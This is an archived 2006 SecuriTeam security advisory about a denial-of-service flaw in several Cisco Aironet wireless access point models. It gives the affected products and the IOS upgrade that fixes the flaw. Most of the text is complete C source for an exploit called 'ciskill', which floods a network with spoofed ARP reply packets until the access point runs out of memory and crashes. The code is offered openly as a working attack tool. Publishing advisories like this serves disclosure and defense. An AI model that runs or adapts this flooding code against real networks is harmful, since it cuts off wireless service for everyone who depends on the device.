

[EXPL] Cisco Aironet Wireless Access Points DoS (ARP, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00085.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 25 Jan 2006 09:50:26 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Cisco Aironet Wireless Access Points DoS (ARP, Exploit)

SUMMARY

A vulnerability has been identified in Cisco Aironet Wireless Access Points (AP) running IOS, which may be exploited by remote attackers to cause a denial of service. This flaw is due to an error in the management interface that does not properly handle spoofed ARP (Address Resolution Protocol) messages, which could be exploited by an attacker who has successfully associated with a vulnerable device to exhaust all available memory resources and cause a denial of service.

Presented here is an exploit code for the Cisco Aironet ARP DoS vulnerability.

DETAILS

Vulnerable Systems:

- * Cisco Aironet 1400 Series Wireless Bridges
- * Cisco Aironet 1300 Series Access Points
- * Cisco Aironet 1240AG Series Access Points
- * Cisco Aironet 1230AG Series Access Points
- * Cisco Aironet 1200 Series Access Points

[EXPL] Cisco Aironet Wireless Access Points DoS (ARP, Exploit)

- * Cisco Aironet 1130AG Series Access Points
- * Cisco Aironet 1100 Series Access Points
- * Cisco Aironet 350 Series Access Points (running IOS)

Solution:

Upgrade to Cisco IOS version 12.3-7-JA2. For more information see:

<<http://www.cisco.com/public/sw-center/sw-wireless.shtml>>

<http://www.cisco.com/public/sw-center/sw-wireless.shtml>

Exploit Code:

```
//  
// Cisco Killer – ciskill.c  
//  
// Usage: ./ciskill [device]  
//  
// Author: Pasv (pasvninja [at] gmail.com)  
//  
// Credit: This exploit takes advantage of a vulnerability that was  
// discovered by Eric Smith on January 12, 2006 (bid:16217)  
//  
// Greets to NW, zimmy, GSO, and the rest.  
//  
// Description: The vulnerability exists in the way the affected versions  
// below handle ARP replies, if enough specially crafted ARP packets are  
// sent  
// on the network with the affected systems it will cause the access point  
// memory  
// exhaustion which will in a few seconds (depending on the speed of the  
// attacker  
// and the memory of the target) crash the system, making all  
// ingoing/outgoing  
// traffic stopped.  
//  
// Disclaimer: I pity the foo who uses this exploit for evil, I take no  
// responsibility  
// for your actions (like a knife maker).  
//  
// Versions affected:  
// Cisco Aironet 350 IOS  
// Cisco Aironet 1400  
// Cisco Aironet 1300  
// Cisco Aironet 1240AG  
// Cisco Aironet 1230AG  
// Cisco Aironet 1200  
// Cisco Aironet 1130AG  
// Cisco Aironet 1100  
// (this includes most linksys wireless access points)
```

```
#include <stdio.h>
```

[EXPL] Cisco Aironet Wireless Access Points DoS (ARP, Exploit)

```
#include <unistd.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/if_ether.h>
#include <linux/sockios.h>

// Edit this packet accordingly if the target is picky
char pkt[]=
// Ethernet header
"\xff\xff\xff\xff\xff\xff" // Destination: broadcast
"AAAAAA" // Source: 41:41:41:41:41:41
"\x08\x06" // Pkt type: ARP
// ARP header
"\x00\x01" // Hardware type: Ethernet
"\x08\x00" // Protocol: IP
"\x06" // Hardware size: 6
"\x04" // Protocol size: 4
"\x00\x02" // Opcode: Reply
"AAAAAA" // Sender (Mac): 41:41:41:41:41:41
"AAAA" // Sender (IP): 65.65.65.65
"AAAAAA" // Target (mac): 41:41:41:41:41:41
"AAAA" // Target (IP): 65.65.65.65
; // End of Packet

int main(int argc, char **argv) {
FILE *fp;
int sock, seed;
long count;
char *device;
in_addr_t addr;
struct sockaddr sin;

printf("CisKill -- Aironet Cisco Killer\nCoded by: Pasv\nDiscovery
credit: Eric Smith\n");
if(getuid()) {
printf("Must be root to inject arp packets!\n");
exit(1);
}

if(argc != 2) {
strcpy(device,"wlan0");
}
else {
device=argv[1];
}

fp = fopen("/dev/urandom", "r");
fscanf(fp,"%d", &seed);
fclose(fp);
srand(seed);
```

[EXPL] Cisco Aironet Wireless Access Points DoS (ARP, Exploit)

```
memset(&sin, 0, sizeof(sin));
sin.sa_family = AF_UNSPEC;
strncpy(sin.sa_data, device, 14);

sock = socket(PF_INET, SOCK_PACKET, 0x300);

printf("Using device: %s\n", device);

// stupid
printf("Press ctrl+c immediately if you wish to stop\nGoing in 5\n");
sleep(1);printf(" 4\n");sleep(1);printf(" 3\n");sleep(1);printf("
2\n");sleep(1);printf(" 1!\n");sleep(1);

while(1) {
addr = (rand()%0xff)+(rand()%0xff)+(rand()%0xff)+(rand()%0xff);
pkt[28] = (char)addr;
pkt[38] = (char)addr;
count++;
printf("#:%ld bytes sent: %d (should be 42)\n",count, sendto(sock, pkt,
42, 0, (struct sockaddr *)&sin, sizeof(sin)));
}
}
```

ADDITIONAL INFORMATION

The exploit has been provided by <<mailto:pasvninja@xxxxxxxxxx>> Pasv.
The vulnerability discovered by Eric Smith

The original article can be found at:
<<http://infinityb.bleh.ca:1170/~pasv/ciskill.c>>
<http://infinityb.bleh.ca:1170/~pasv/ciskill.c>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

loss of business profits or special damages.

- Prev by Date: [*\[NT\] RockLiffe MailSite XSS and DoS*](#)
- Next by Date: [*\[REVS\] Security Testing Demystified*](#)
- Previous by thread: [*\[NT\] RockLiffe MailSite XSS and DoS*](#)
- Next by thread: [*\[REVS\] Security Testing Demystified*](#)
- Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)